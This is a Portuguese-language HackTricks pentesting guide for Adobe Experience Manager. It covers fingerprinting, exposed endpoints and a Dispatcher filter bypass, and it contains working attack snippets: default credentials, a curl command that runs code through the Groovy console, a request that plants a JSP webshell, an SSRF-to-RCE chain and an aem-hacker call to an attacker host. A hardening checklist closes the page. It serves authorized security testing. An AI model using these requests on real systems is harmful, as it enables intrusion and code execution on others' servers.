AEM (Adobe Experience Manager) Pentesting

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Adobe Experience Manager (AEM, parte do Adobe Experience Cloud) é um CMS corporativo que roda sobre Apache Sling/Felix (OSGi) e um Repositório de Conteúdo Java (JCR). Do ponto de vista de um atacante, instâncias do AEM frequentemente expõem endpoints de desenvolvimento perigosos, regras de Dispatcher fracas, credenciais padrão e uma longa lista de CVEs que são corrigidos a cada trimestre.

A lista de verificação abaixo foca na superfície de ataque (unauth) acessível externamente que continua aparecendo em engajamentos reais (2022-2025).


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Outros indicadores rápidos:

  • O caminho estático /etc.clientlibs/ presente (retorna JS/CSS).
  • A página de login em /libs/granite/core/content/login.html com o banner “Adobe Experience Manager”.
  • O comentário </script><!--/* CQ */--> no final do HTML.

2. Endpoints não autenticados de alto valor

CaminhoO que você obtémNotas
/.json, /.1.jsonNós JCR via DefaultGetServletFrequentemente bloqueado, mas o Dispatcher bypass (veja abaixo) funciona.
/bin/querybuilder.json?path=/API QueryBuilderVazamento da árvore de páginas, caminhos internos, nomes de usuários.
/system/console/status-*, /system/console/bundlesConsole OSGi/Felix403 por padrão; se exposto e credenciais encontradas ⇒ RCE de upload de pacote.
/crx/packmgr/index.jspGerenciador de PacotesPermite pacotes de conteúdo autenticados → upload de payload JSP.
/etc/groovyconsole/**Console Groovy AEMSe exposto → execução arbitrária de Groovy / Java.
/libs/cq/AuditlogSearchServlet.jsonLogs de auditoriaDivulgação de informações.
/libs/cq/ui/content/dumplibs.htmlDump de ClientLibsVetor XSS.

Truque de bypass do Dispatcher

A maioria dos sites de produção está atrás do Dispatcher (proxy reverso). Suas regras de filtro podem ser contornadas adicionando uma extensão estática permitida após um ponto e vírgula ou nova linha codificada:

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Uma única solicitação como a acima frequentemente revela nós de perfil de usuário com endereços de e-mail. A P-T Partners publicou boas orientações sobre essa vulnerabilidade. 【】


3. Configurações incorretas comuns (ainda vivas em 2025)

  1. Servlet POST anônimoPOST /.json com :operation=import permite que você crie novos nós JCR. Bloquear *.json POST no Dispatcher resolve isso. 【】
  2. Perfis de usuário legíveis por todos – ACL padrão concede jcr:read em /home/users/**/profile/* para todos.
  3. Credenciais padrãoadmin:admin, author:author, replication:replication.
  4. WCMDebugFilter habilitado ⇒ XSS refletido via ?debug=layout (CVE-2016-7882, ainda encontrado em instalações legadas 6.4).
  5. Console Groovy exposto – execução remota de código ao enviar um script Groovy:
bash
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json

4. Vulnerabilidades recentes (cadência de pacotes de serviço)

TrimestreCVEAfetadoImpacto
Dez 2024CVE-2024-437116.5.21 e anterioresValidação de entrada inadequada → Execução de código arbitrário (requer autenticação de baixo privilégio). 【】
Dez 2024CVE-2024-43724/266.5.21 e anterioresXSS DOM / Armazenado no Assistente de Mover Página. 【】
Dez 2023CVE-2023-48452/68≤ 6.5.18XSS baseado em DOM via URL manipulada. 【】
Dez 2022CVE-2022-30683≤ 6.5.13Falha de design criptográfico → descriptografia secreta (necessita de credenciais de baixo privilégio). 【】

Sempre verifique o boletim APSB correspondente ao pacote de serviço do cliente e solicite o mais recente 6.5.22 ou Cloud Service 2024.11.


5. Trechos de exploração

5.1 RCE via bypass do dispatcher + upload de JSP

Se a gravação anônima for possível:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Agora solicite /content/evil.jsp – o JSP é executado com o usuário do processo AEM.

5.2 SSRF para RCE (histórico < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py do aem-hacker automatiza toda a cadeia. 【】


6. Ferramentas

  • aem-hacker – script de enumeração tipo canivete suíço, suporta bypass de dispatcher, detecção de SSRF, verificações de credenciais padrão e mais.
bash
python3 aem_hacker.py -u https://target --host attacker-ip
  • Força bruta de Conteúdo – solicita recursivamente /_jcr_content.(json|html) para descobrir componentes ocultos.
  • osgi-infect – faça upload de um pacote OSGi malicioso via /system/console/bundles se as credenciais estiverem disponíveis.

7. Lista de verificação de endurecimento (para as recomendações do seu relatório)

  1. Mantenha a instância na última atualização cumulativa (a partir de jul 2025: 6.5.22).
  2. Remova/rotacione contas padrão; imponha SSO/SAML.
  3. Reforce os filtros do Dispatcher – negue ;, novas linhas codificadas e *.json ou *.querybuilder.json para usuários anônimos.
  4. Desative ou proteja consoles (/system/console, /crx/*, /etc/groovyconsole) com listas de permissão de IP.
  5. Aplique o pacote Endurecimento de Permissão Anônima enviado pela Adobe.

Referências

  • Adobe Security Bulletin APSB24-69 – “Atualizações de segurança para Adobe Experience Manager (dez 2024)”.
  • 0ang3el – ferramenta aem-hacker (GitHub).

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks